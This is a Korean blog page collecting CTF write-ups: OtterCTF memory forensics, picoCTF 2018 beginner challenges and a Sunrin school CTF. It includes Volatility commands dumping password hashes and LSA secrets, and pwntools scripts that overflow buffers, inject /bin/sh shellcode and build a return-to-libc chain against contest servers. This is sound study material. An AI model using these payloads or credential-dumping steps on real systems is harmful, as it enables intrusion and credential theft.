2019 Tamu CTF Writeup  (0) 2019.08.04
2019 Codegate Quals Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 OtterCTF Writeup  (0) 2018.12.11
2018 picoCTF Writeup  (0) 2018.11.22
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // ST10_1
  unsigned int v4; // esi
  int v5; // ecx
  char v6; // ST20_1
  char Str2[16]; // [esp+8h] [ebp-204h]
  __int128 v9; // [esp+18h] [ebp-1F4h]
  char v10; // [esp+28h] [ebp-1E4h]
  char v11; // [esp+29h] [ebp-1E3h]
  char Dst[256]; // [esp+108h] [ebp-104h]
  char v13[256]; // [esp+109h] [ebp-103h]

  memset(Dst, 0, 0xFFu);
  *Str2 = xmmword_402160;
  v9 = xmmword_402150;
  v10 = -114;
  memset(&v11, 0, 0xDEu);
  (sub_401020)("Password: ", v3);
  sub_401050("%36s", Dst);
  srand(0x3FD1CC7u);
  v4 = 0;
  if ( &Dst[strlen(Dst) + 1] != v13 )
  {
    do
    {
      v5 = rand() % 256;
      v6 = (v5 | Dst[v4]) & ~(v5 & Dst[v4]);
      Dst[v4] = v6;
      sub_401020("%d, ", v6);
      ++v4;
    }
    while ( v4 < strlen(Dst) );
  }
  if ( !strncmp(Dst, Str2, 0x21u) )
    sub_401020("\nCorrect\n");
  else
    sub_401020("\nWrong\n");
  return 0;
}

xmmword_402150,xmmword_402160 테이블을 가져오면 된다.

.rdata:00402150 xmmword_402150  xmmword 1A329AD1F535B7A46D23E29075ECBEBAh
.rdata:00402150                                         ; DATA XREF: _main+42↑r
.rdata:00402160 xmmword_402160  xmmword 0CFA8C1890818F8507F1A0A19BBC3CB4Dh
.rdata:00402160                                         ; DATA XREF: _main+27↑r

 

- solve.py

from ctypes import *
import string

seed = 0x3fd1cc7
lib = cdll.msvcrt
lib.srand(seed)
table=[0x4d,0xcb,0xc3,0xbb,0x19,0x0a,0x1a,0x7f,0x50,0xf8,0x18,0x08,0x89,0xc1,0xa8,0xcf,0xba,0xbe,0xec,0x75,0x90,0xe2,0x23,0x6d,0xa4,0xb7,0x35,0xf5,0xd1,0x9a,0x32,0x1a,0x8e]
flag=""
for i in range(33):
	rand = lib.rand() % 256
	for j in string.printable:
		tmp = (rand | ord(j)) & (~(rand & ord(j)))
		if tmp == table[i]:
			flag += j
print flag

 

'CTF WriteUp' 카테고리의 다른 글

2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2018 OtterCTF Writeup  (0) 2018.12.11
2018 picoCTF Writeup  (0) 2018.11.22
2018 고등해커 예선 Writeup  (0) 2018.11.22

2018 OtterCTF Writeup

1 - What the password? - 100pt

you got a sample of rick's PC's memory. can you get his user password?

format: CTF{...}

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 hashdump -s 0xfffff8a0016d4010

Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Rick:1000:aad3b435b51404eeaad3b435b51404ee:518172d012f97d3a8fcc089615283940:::

hivescan 해준걸 hashdump떠서 봤는데 이렇게 3개의 계정이 나왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 lsadump
Volatility Foundation Volatility Framework 2.6
DefaultPassword
0x00000000 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   (...............
0x00000010 4d 00 6f 00 72 00 74 00 79 00 49 00 73 00 52 00   M.o.r.t.y.I.s.R.
0x00000020 65 00 61 00 6c 00 6c 00 79 00 41 00 6e 00 4f 00   e.a.l.l.y.A.n.O.
0x00000030 74 00 74 00 65 00 72 00 00 00 00 00 00 00 00 00   t.t.e.r.........

DPAPI_SYSTEM
0x00000000 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ,...............
0x00000010 01 00 00 00 36 9b ba a9 55 e1 92 82 09 e0 63 4c   ....6...U.....cL
0x00000020 20 74 63 14 9e d8 a0 4b 45 87 5a e4 bc f2 77 a5   .tc....KE.Z...w.
0x00000030 25 3f 47 12 0b e5 4d a5 c8 35 cf dc 00 00 00 00   %?G...M..5......

lsadump 떠줘서 가져왔다.

예시 : https://www.aldeid.com/wiki/Volatility/Retrieve-password

lsadump plugin : https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/registry/lsadump.py

FLAG : CTF{MortyIsReallyAnOtter}


2 - General Info - 75pt

Let's start easy - whats the PC's name and IP address?

format: CTF{flag}

PC name

hive스캔을 먼저 떠줬다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 hivescan

그리고 컴퓨터 이름이 저장된 레지스트리로 가서 가져왔다.

컴퓨터 이름 레지스트리 : HKLM\SYSTEM\ControlSet00X\Control\ComputerName\ActiveComputerName

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K \ControlSet001\\Control\\ComputerName\\ActiveComputerName
Volatility Foundation Volatility Framework 2.6
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \REGISTRY\MACHINE\SYSTEM
Key name: ActiveComputerName (V)
Last updated: 2018-08-04 19:26:11 UTC+0000

Subkeys:

Values:
REG_SZ       ComputerName   : (V) WIN-LO6FAF3DTFE

FLAG : CTF{WIN-LO6FAF3DTFE}

PC IP

netscan 해줘서 local Adress를 가져왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 netscan

FLAG : CTF{192.168.202.131}


3 - Play Time - 50pt

Rick just loves to play some good old videogames. can you tell which game is he playing? whats the IP address of the server?

format: CTF{flag}

Game name

프로세스 목록들보면 LunarMs.exe라는 게임을 하고 있었다.

FLAG : CTF{LunarMS}

Server IP

netscan따서 192.168.202.131과 LunarMs의 Foreign Address를 가져왔다.

FLAG : CTF{77.102.199.102}


4 - Name Game - 100pt

We know that the account was logged in to a channel called Lunar-3. what is the account name?

format: CTF{flag}

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 memdump -p 708 -D .

먼저 LunarMS 게임을 덤프 떠서 가져온다. LunarMS의 pid는 708이다

strings -a 708.dmp > prob3.txt

거기서 strings로 따서 Lunar-3를 검색해보면 Lunar-3 밑에 0tt3r8r33z3 가 적혀있었다. FLAG같아서 인증했다.

FLAG : CTF{CTF{0tt3r8r33z3}}


5 - Name Game2 - 150pt

From a little research we found that the username of the logged on character is always after this signature: 0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} What's rick's character's name?

format: CTF{...}

No Solve...


6 - Silly Rick - 100pt

Silly rick always forgets his email's password, so he uses a Stored Password Services online to store his password. He always copy and paste the password so he will not get it wrong. whats rick's email password?

format: CTF{flag}

복사 붙여넣기를 사용한다고 했다. clipboard 플러그인을 사용해서 해당 값을 가져왔다.

$ vol.py -f OtterCTF.vmem --profile=Win7SP1x64 clipboard
Volatility Foundation Volatility Framework 2.6
Session   WindowStation Format                         Handle Object             Data
---------- ------------- ------------------ ------------------ ------------------ --------------------------------------------------
        1 WinSta0       CF_UNICODETEXT               0x602e3 0xfffff900c1ad93f0 M@il_Pr0vid0rs
        1 WinSta0       CF_TEXT                         0x10 ------------------
        1 WinSta0       0x150133L             0x200000000000 ------------------
        1 WinSta0       CF_TEXT                           0x1 ------------------
        1 ------------- ------------------           0x150133 0xfffff900c1c1adc0

FLAG : CTF{M@il_Pr0vid0rs}


7 - Hide And Seek - 100pt

The reason that we took rick's PC memory dump is because there was a malware infection. Please find the malware process name (including the extension)

BEAWARE! There are only 3 attempts to get the right flag!

format: CTF{flag}

FLAG : CTF{vmware-tray.exe}


10 - Bit 4 Bit - 100pt

We've found out that the malware is a ransomware. Find the attacker's bitcoin address.

format: CTF{...}

vol.py -f OtterCTF.vmem --profile=Win7SP1x64 procdump -D dump/ -p 3720

https://transfer.sh/Dss8z/hidd.exe 이걸 사용해 비트코인 주소를 뽑아낼 수 있다.

FLAG : CTF{1MmpEmebJkqXG8nQv4cjJSmxZQFVmFo63M}


11 - Graphics is for the weak - 150pt

There's something fishy in the malware's graphics.

format: CTF{...}

dnspy를 이용해서 열면 확인할 수있다.

FLAG : CTF{S0_Just_M0v3_Socy}

'CTF WriteUp' 카테고리의 다른 글

2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 picoCTF Writeup  (0) 2018.11.22
2018 고등해커 예선 Writeup  (0) 2018.11.22
layout: post
title: 2018 Pico CTF Writeup
date: 2018-10-25
mathjax: true
tag: [picoCTFWriteup]
categories: 0x02_Writeups

2018 PicoCTF WriteUp

NickName : ind3x

TeamName : sunrin

Score : 16785

Forensics Warmup 1 - Point : 50 [Forensics]

압축 파일을 받고 열어보니 flag.jpg파일이 있었다.

Flag : picoCTF{Welcome_to_forensics}

Forensics Warmup 2 - Point : 50 [Forensics]

png 파일을 받았는데 flag.png에 flag가 적혀있었다.

Flag : picoCTF{extensions_are_a_lie}

General Warmup 1 - Point : 50 [General Skills]

16진법 0x61을 아스키코드로 바꾸라고한다.

Flag : picoCTF{A}

General Warmup 2 - Point : 50 [General Skills]

10진수인 27을 2진수로 변환하라고 한다.

Flag : picoCTF{11011}

General Warmup 3 - Point : 50 [General Skills]

0x3D를 10진수로 변환하라고 한다.

Flag : picoCTF{61}

Resources - Point : 50 [General Skills]

웹 사이트에서 flag를 찾으라고 한다. 그냥 들어가서 command + f 누르고 picoCTF{} 플래그 형식검색했더니 나왔다.

Flag :picoCTF{xiexie_ni_lai_zheli}

Reversing Warmup 1 - Point : 50 [Reversing]

Radare2를 통해서 run 파일을 열고 확인해본 결과 picoCTF{welc0m3_t0_r3VeRs1nG} 라는 문구를 넘겨주고 있었다.

Flag : picoCTF{welc0m3_t0_r3VeRs1nG}

Reversing Warmup 2 - Point : 50 [Reversing]

dGg0dF93NHNfczFtcEwz 를 아스키형식으로 Base64 디코딩 하면 된다.

Flag : picoCTF{th4t_w4s_s1mpL3}

Crypto Warmup 1 - Point : 50 [Cryptography]

llkjmlmpadkkc 를 키 값인 thisisalilkey 를 주고 답을 찾으라 한다. 키 값을 주고 문자열을 바꾸는 형식인 Vigenere Cipher를 참고해 풀었다.

Flag : picoCTF{secretmessage}

Crypto Warmup 2 - Point : 50 [Cryptography]

cvpbPGS{guvf_vf_pelcgb!} 이런 문자가 주어졌는데 rot13으로 파이썬 코드 짜서 돌려줬다.

import codecs
flag = codecs.encode('cvpbPGS{guvf_vf_pelcgb!}','rot_13')
print(flag)
Flag : picoCTF{this_is_crypto!}

Grep 1 - Point : 75 [General Skills]

file이라는 이름의 파일이 주어졌는데 이 문제의 제목처럼 유닉스 계열의 명령어 grep으로 flag형식 문자열을 추출했다.

$ cat file | grep 'picoCTF'
picoCTF{grep_and_you_will_find_d66382d8}
Flag : picoCTF{grep_and_you_will_find_d66382d8}

net cat - Point : 75 [General Skills]

nc 접속하는 법을 알면 쉽게 풀 수 있다. 쉽게 터미널 열어서 접속해주면 된다.

$ nc 2018shell2.picoctf.com 37721
That wasn't so hard was it?
picoCTF{NEtcat_iS_a_NEcESSiTy_0b4c4174}
Flag : picoCTF{NEtcat_iS_a_NEcESSiTy_0b4c4174}

HEEEEEEERE'S Johnny! - Points : 100 [Cryptography]

passwd 파일을 칼리리눅스에서 Johnny이였나 거기에 넣어주고 하면 root계정의 비밀번호가 나온다.

Flag : picoCTF{J0hn_1$_R1pp3d_289677b5}

strings - Point : 100 [General Skills]

유닉스 명령어 strings만 사용할 줄 알면 쉽게 풀 수 있다.

$ strings strings | grep pico
picoCTF{sTrIngS_sAVeS_Time_d3ffa29c}
Flag : picoCTF{sTrIngS_sAVeS_Time_d3ffa29c}

pipe - Point : 110 [General Skills]

nc 서버로 접속하고 파이프를 사용해서 grep으로 문자열을 찾아줬다.

$ nc 2018shell2.picoctf.com 44310 | grep pico
picoCTF{almost_like_mario_a13e5b27}
Flag : picoCTF{almost_like_mario_a13e5b27}

Inspect Me - Point : 125 [Web Exploitation]

개발자도구를 들어가서 sources를 보면 html css js 소스가 있다. 소스를 확인해본 결과 flag가 주석처리 되어있다.

Flag : picoCTF{ur_4_real_1nspect0r_g4dget_b4887011}

grep2 - Point : 125 [General Skills]

쉘 서버에 grep을 사용해서 풀었다. /problems/grep-2_3_826f886f547acb8a9c3fccb030e8168d/ 안에 엄청 수 많은 폴더들이 있었다. grep의 -r 옵션이 하위 디렉토리의 파일들의 문자열을 찾아준다.

$ grep -r pico
files/files2/file20:picoCTF{grep_r_and_you_will_find_556620f7}
Flag : picoCTF{grep_r_and_you_will_find_556620f7}

Client Side is Still Bad - Point : 150 [Web Exploitation]

딱 웹 사이트 들어가자마자 Secure Login Sever를 들어가려면 자격이 필요하다나.. 그래서 소스를 보니 자바스크립트가 있었다.

자바스크립트를 보면 verify라는 함수에서 입력 조건이 써있어서 그대로 써주고 그 입력 조건이 맞으면 alert 뜨게 하는거였다. picoCTF{client_is_bad_9117e9} 이걸 넣어주면 You got the flag! 틀리면 Incorrect password라고 뜬다.

Flag : picoCTF{client_is_bad_9117e9}

Recovering From the Snap - Point : 150 [Forensics]

animals.dd 파일을 받았는데 용량이 10MB나 됐다... 먼저 시그니처를 별다른게 없어서 밑으로 조금 내리다가 보니까 오프셋 9A00 에서 FF D8 FF E0 00 10 4A 46 49 46 jpg 시그니처를 확인하고는 animals.dd파일 안에 여러 이미지가 담겨 있는 것을 알게되었다.

jpg의 푸터 시그니처인 FF D9를 찾았다. 오프셋 A400까지였다. 9A00 ~ A400까지 한 이미지를 추출해냈다.

하지만 이 그림에는 flag가 없었다. 이런 문제는 보통 그림에 photoshop을 사용해서 들어간다.

그래서 photoshop이라는 텍스트를 검색해서 photoshop이 포함되어있는 jpg 파일을 추출해냈다.

오프셋 2DCA00 부터 2E67B0 까지였다. 이 오프셋 범위만 따로 추출해냈더니 flag 이미지가 나왔다.

Flag : picoCTF{th3_5n4p_happ3n3d}

admin panel - Point : 150 [Forensics]

data.pcap 파일을 내려받아서 wireshark 를 이용해 pcap 폴더를 열었다. 여기서 프로토콜이 HTTP인 것을 확인해보니 login, logout, %2f, admin 등등 여러 패킷이 전송된 것을 볼 수 있었다. 이 패킷들을 따로 추출해서 확인해봤다.

텍스트파일중 login(2)를 확인해봤더니 flag가 적혀있었다. user=admin&password=picoCTF{n0ts3cur3_df598569}

Flag : picoCTF{n0ts3cur3_df598569}

caesar cipher 1 - Point : 150 [Cryptography]

ciphertext라는 text파일을 받고 열어본 결과 picoCTF{grpqxdllaliazxbpxozfmebotlvlicmr} 이렇게 나와있는데 대괄호 안을 카이사르 암호로 치환하면 된다. 파이썬 코드로 돌렸더니 ROT23번째가 flag였다.

def translate(string, key, mode):
   translated_string = ""

   if mode == 'decrypt':
       key = -key

   for char in string:
       if char.isalpha():
           num = ord(char)
           num += key

           if char.isupper():
               if num > ord('Z'):
                   num -= 26
               elif num < ord('A'):
                   num += 26
           elif char.islower():
               if num > ord('z'):
                   num -= 26
               elif num < ord('a'):
                   num += 26
           translated_string += chr(num)
       else:
           translated_string += char
   return translated_string

encrypted = 'grpqxdllaliazxbpxozfmebotlvlicmr' # input
for i in range(1, 26):
   decrypted = translate(encrypted, i, 'decrypt')
   print ("".join(['ROT', str(i), ': ', decrypted]))
Flag : picoCTF{justagoodoldcaesarcipherwoyolfpu}

environ - Points : 150 [General Skills]

유닉스 셸 명령어 env를 이용해서 환경변수를 확인했다.

$ env | grep pico
SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}
Flag : picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}

hex editor - Points : 150 [Forensics]

HxD로 Find로 pico 형식을 입력하니까 바로 나왔다.

Flag : picoCTF{and_thats_how_u_edit_hex_kittos_8BcA67a2}

Secret Agent - Points : 200 [Web Exploitation]

시크릿 에이전트를 사용할 줄 몰라서 시간 엄청 뺏긴 문제다. http://2018shell2.picoctf.com:3827/flag 이 링크에서 flag를 누르면 이상한게 뜨는데 내가 사용하는 크롬,웨일,사파리 등등 뜨길래 당황했다. 정말 이런 문제 처음 접해봤지만 신기했다. flag를 누르면 너는 구글이 아니라고 뜨길래 구글에서 엄청 찾다가 구글 봇이라는 걸 찾았다. 내가 사용하고있는 에이전트를 구글 봇으로 바꿔주면 된다.

개발자모드(F12) 들어가서 NetWork 들어가서 밑에 콘솔창 옆에 점 세개 있는거 누르고 NetWork Conditions 누르고 거기서 에이전트를 구글봇으로 바꿔주고 다시 웹 사이트 접속해서 FLAG 눌러주면 flag가 나온다.

Flag : picoCTF{s3cr3t_ag3nt_m4n_12387c22}

Truly an Artist - Points : 200 [Forensics]

HxD로 pico형식 찾으니까 바로 나왔다.

Flag : picoCTF{look_in_image_7e31505f}

now you don't - Points : 200 [Forensics]

배경이 완전히 빨강색이고 PNG이길래 그림판으로 색을 덮어줬더니 Flag가 나왔다.

Flag : picoCTF{n0w_y0u_533_m3}

what base is this? - Points : 200 [General Skills]

nc로 접속하면 진수를 아스키코드를 30초안에 바꾸라고 나온다. 쉽게 쓱싹 바꿔줬다.

$ nc 2018shell2.picoctf.com 1225
We are going to start at the very beginning and make sure you understand how data is stored.
apple
Please give me the 01100001 01110000 01110000 01101100 01100101 as a word.
To make things interesting, you have 30 seconds.
Input:
apple
Please give me the 67696d70 as a word.
Input:
gimp
Please give me the 164 165 162 164 154 145 as a word.
Input:
turtle
You got it! You're super quick!
Flag: picoCTF{delusions_about_finding_values_451a9a74}

store - Points : 400 [General Skills]

r2 열어서 분석했더니 쉽게 나왔다.

이런게 400점이나…

Flag : picoCTF{numb3r3_4r3nt_s4f3_cbb7151f}

quackme - Points : 200 [Reversing]

주소의 값을 가져와서 xor 연산해주면 된다. 여기서 알게된 점이 flag 형식을 통해 문제를 푸는 방법을 듣고 좋은 팁을 알아갔다.

table = [0x29, 0x6, 0x16, 0x4f, 0x2b, 0x35, 0x30, 0x1e, 0x51, 0x1b, 0x5b, 0x14, 0x4b, 0x8, 0x5d, 0x2b, 0x52, 0x17, 0x1, 0x57, 0x16, 0x11, 0x5c, 0x7, 0x5d]
flag = [0x59, 0x6f, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x6e, 0x6f, 0x77, 0x20, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x44, 0x75, 0x63, 0x6b]
answer = ""
for i in range(len(table)):
   answer += chr(table[i]^flag[i])
print(answer)

Flag : picoCTF{qu4ckm3_7ed36e4b}

quackme up - Points : 350 [Reversing]

11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1 이 값이 나오도록 만들라고 해서 이 문제는 노가다로 1을 입력하면 05 이런식으로 나오길래 알파벳, 특수기호, 번호를 입력해서 값을 찾아서 일일이 매칭시켜줬다.

Flag : picoCTF{qu4ckm3_8c02c0af}

후기

우리반에서 보안 공부하는 애들과 함께 나간 대회이다. 이 기회를 통해 친구들과 재밌게 즐겼던거 같다. 포렌식 문제들은 거의 스테가노 문제였고 많이 풀었던 형식들이라 쉽게 풀 수 있었지만 어려운 포렌식 문제는 아직 능력이 안되서 그런지 풀지 못했다. 리버싱은 대회가 끝나고 친구의 도움으로 풀었다. 아직은 너무 부족하고 열심히 공부해서 내년에는 꼭 풀 수 있도록 해야겠다.

'CTF WriteUp' 카테고리의 다른 글

2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 OtterCTF Writeup  (0) 2018.12.11
2018 고등해커 예선 Writeup  (0) 2018.11.22
layout: post
title: 2018 고등해커 예선 Writeup
date: 2018-11-1
mathjax: true
tag: [고등해커Writeup]
categories: 0x02_Writeups

2018 선린 고등해커 문제풀이 보고서

팀명 : 웹해킹은USA해킹


※ 문제 풀이 보고서의 내용 중 플래그(flag)를 인증한 문제가 없을 경우에는 순위 변동 및 실격처리 될 수 있습니다.

등수 : 8등

점수 : 1270

MISC

  • Mic Check - 10pt

디스코드로 주어진 플래그를 입력하였다.

FLAG : Sunrin{I_am_godeung_h4ck3r!~}

  • What's mean? - 50pt

_는 0으로 -는 1로 바꿔주고 8자리씩 나눠져있는 이진수값을 ASCII로 바꿔주었다.

FLAG : Sunrin{D0_y0u_kn0w_b1n4ry?}

  • Beep and daum yo - 80pt

밑 부분에 바코드가 살짝 남아있길래 그림판으로 똑같이 그리고 휴대폰 바코드 인증해 풀었다.

FLAG : Sunrin{BeepBeep}

  • Gazua!! - 80pt

오프셋 EAD1F에서 PNG 시그니처가 숨겨져있었다. 오프셋 ED40B에 49 45 4E 44 AE 42 60 82 PNG 푸터가 있었다.

그 범위만 짤라서 새로운 PNG로 저장하고 봤더니 흰 바탕화면에 Where is Flag? 라는 문구가 적혀있었다. 그림판으로 바탕을 검은색으로 덮었더니 FLAG가 나왔다.

FLAG : Sunrin{easy_stegano..}

  • Replace - 120pt

첫 스테이지에서 get방식으로 name을 admin으로 값을 넘겨야 stage2로 간다.

두번 째 스테이지에서 get방식으로 값이 admin이 되야지 다음 스테이지로 넘어간다는 것을 알았다. 중간에 코드를 보니 str_replace함수로 인해 admin을 그대로 입력하면 값이 사라진다는 걸 알았다. 따라서 admin사이에 admin이라는 말을 아무대나 집어넣으면 풀린다는 걸 알았다. admadminin을 넣었더니 stage3로 넘어갔다.

세번 째 스테이지 get방식으로 name을 admin으로 값을 넘겨야 플래그를 얻을 수 있다는걸 알았다. 그래서 str_replace 함수를 보니 name값이 계속 str_replace 함수로 인해 계속 바뀐다는 것을 알았다. 그래서 str_replace 맨 밑에서부터 차례대로 값을 변경해줘서 admdmiadmdmiinin을 넣었더니 FLAG를 얻었다.

FLAG : flag is Sunrin{th1s_ch4ll_1s_very*30_e4sy_chall}

  • easy_misc - 130pt

첫번 째 스테이지에서 base64로 디코딩하였더니 wooooooooooooooooow_THis_is_stage1_key!!!이 나왔다.

두번 째 스테이지에서 input1 디코딩한 값과 input2 디코딩한 값이 같은데 길이는 달라야한다. 그래서 2번째 스테이지에서 input1을 = input2를 ==를 넣었다.

세번 째 스테이지에서 input1 디코딩한 값과 input2 디코딩한 값이 같고 길이는 같은데 원문이 달라야한다. 그래서 input1에 == input2에 !=을 넣었다. You are....misc hacker..가 뜨면서 플래그가 나왔다.

FLAG : Sunrin{B4SE64_M4st3r}

  • Easy Math Game - 150pt

nc로 접속해서 나온 머리로 암산해서 일일이 방정식들을 풀었다 ....

FLAG : Sunrin{Th1s_1s_B4sic_m4th_g4m3}

PWN

  • WhatIsBOF - 50pt

V4를 scanf로 받고 v5가 AAAA인지를 1094795585인지를 체크하고 맞다면 system(“/bin/sh”)를 사용한다.

그러나 scanf에서 bof취약점이 발생한다.

V4는 esp+2h에 위치하고 v5는 esp+20h에 위치함으로 우리는 v5의 값을 우리가 원하는 값으로 바꿀 수 있다.

from pwn import * 

r=remote("110.10.189.33",19886)
payload="A"*100
r.sendline(payload)
r.interactive()

FLAG : Sunrin{AAAAAAAAAAAAABOF}

  • What Is ShellCode - 75pt

위의 코드는 버퍼에 0x32만큼 입력을 받고 buf의 첫번째 주소로 간다. 따라서 우리는 버퍼안에 쉘코드 즉, system(“/bin/sh”)를 실행시킬수있는 쉘코드를 버퍼안에 넣어주면 된다. 어떠한 보호기법이 설정되어 있는지를 보자.

어떠한 보호기법도 설정이 되어 있지 않다. 따라서 우리는 신경안쓰고 버퍼안에다가 쉘코드를 넣으면 된다.

from pwn import *

r=remote("110.10.189.33",19786)
payload="\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
r.sendline(payload)
r.interactive()

FLAG : Sunrin{v3ry_v3ry_strawberry}

  • PWN_TRAINING - 100pt

이 문제는 파일이 없었다.

문제를 보니 RTL을 이용하여 푸는 문제인 것 같다.

buffer부터 ebp까지가 264만큼이고 ebp+4가 return이다. 따라서

“A”*264+”BBBB”+”system주소”+”AAAA”+”/bin/sh주소”를 하면 쉘이 실행이 된다.

from pwn import *

r=remote("110.10.189.33",12001)

system_add=0x8048440
sh_add=0x804a030
payload="A"*264+"BBBB"
payload+=p32(system_add)
payload+="AAAA"
payload+=p32(sh_add)
r.recvuntil("buffer :")
r.sendline(payload)
r.interactive()

FLAG : Sunrin{W0w..Y0u_w1ll_b3_g0od_pwn3r!!}

  • THUG_LIFEEEEE - 125pt

이 문제는 money가 199999보다 크면 쉘을 얻게 된다. 일단 돈을 많이 벌 방법을 생각해야한다.

bank함수를 불러오고 1을 입력하면 bank안의 돈을 0 <= money <= 300000까지 넣을 수 있다.

근데 v1이 자신의 돈인데 자신이 0을 같고 있더라고 bank money를 300000을 넣을수 있다. 그리고 돈을 넣으면 돈이 음수가 된다. 이제 빛을 지울 방법을 생각해야 한다. 계속을 일을 해서 체력이 사라지면 돈을 0으로 초기화 해준다.

]

이제 빛을 지울 방법을 생각해야 한다. 계속을 일을 해서 체력이 사라지면 돈을 0으로 초기화 해준다.

그리고 31337을 입력하면 goal이라는 함수를 불러온다.

REV

  • hida - 50pt

hidahidahidahidahidahida는 raw_input()

hidahidahidahidahida는 range()

hidahidahidahidahidahidahida는 len()

hidahidahidahidahidahidahidahida는 ord() 로 바꿔주고 변수나 함수들도 이름을 쉽게 쉽게 바꿔주었다.

전역변수가 연산된게 리스트안의 값들과 xor연산이 되는 것을 볼 수 있다.

gg = 4

for i in range(15):
   gg = (gg*427951+35862)%256
   print(gg),

table = [129, 209, 92, 54, 251, 138, 137, 253, 98, 81, 237, 172, 123, 0, 19]
ggsdd = [210, 164, 50, 68, 146, 228, 242, 132, 82, 36, 178, 196, 18, 100, 114]
flag = ""
for i in range(len(table)):
   flag += chr(ggsdd[i]^table[i])
print("")
print(flag)

FLAG : Sunrin{y0u_hida}

  • Ego - 100pt

문제로 주어진 Ego.pyc 파일을 디컴파일해서 Ego.py로 생성하였다.

# uncompyle6 version 3.2.3
# Python bytecode 3.5 (3351)
# Decompiled from: Python 2.7.15 (default, Jul 23 2018, 21:27:06)
# [GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]
# Embedded file name: Ego.py
# Compiled at: 2018-10-04 16:16:32
# Size of source mod 2**32: 304 bytes
import hashlib
i = input().strip()
k = hashlib.new('md5')
k.update(i.encode())
if i.split('_') == ['Sunrin{this', 'is', 'flag', '', 'lool', '', '}'] and k.digest() == 'Y\xa8\x07-P$\xdc\xcc\x02C\x1a#\xf5\xc4\xd1\x97':
   print('OK')
else:
   print('NOPE')
# okay decompiling Ego.pyc

'Sunrin{this', 'is', 'flag', '', 'lool', '', '}' 여기에서 split해서 _를 넣었다.

FLAG : Sunrin{this_is_flag__lool__}

CRYPTO

  • Outdated - 50pt

rot13 파이썬 코드를 짜서 돌렸다.

def translate(string, key, mode):
   translated_string = ""

   if mode == 'decrypt':
       key = -key

   for char in string:
       if char.isalpha():
           num = ord(char)
           num += key

           if char.isupper():
               if num > ord('Z'):
                   num -= 26
               elif num < ord('A'):
                   num += 26
           elif char.islower():
               if num > ord('z'):
                   num -= 26
               elif num < ord('a'):
                   num += 26
           translated_string += chr(num)
       else:
           translated_string += char
   return translated_string

encrypted = 'Fhaeva{GuvfGuvatVfGbbByq}'
for i in range(1, 26):
   decrypted = translate(encrypted, i, 'decrypt')
   print ("".join(['ROT', str(i), ': ', decrypted]))

rot13에서 플래그 값이 나왔다.

FLAG : ROT13: Sunrin{ThisThingIsTooOld}

  • CanUevenCode - 100pt

플래그 형식이 Sunrin{ 이니까 먼저 넣어줬더니 앞쪽 값이 일치한 것을 알 수 있었다. 그리고 입력받은 2개씩 넣으면 그거에 따라 값이 나오는데 저 코드들에 맞게 ASCII 테이블을 보면서 1시간정도 걸쳐 노가다로 풀었다..

FLAG : Sunrin{R34ding_S33k1ng_fl4g1ng_th3_v1ct0ry}

'CTF WriteUp' 카테고리의 다른 글

2019 Codegate Quals Writeup  (0) 2019.08.04
2018 고등해커 본선 Writeup  (0) 2019.08.04
2017 Dimi CTF Final - 50pt  (0) 2019.05.11
2018 OtterCTF Writeup  (0) 2018.12.11
2018 picoCTF Writeup  (0) 2018.11.22

+ Recent posts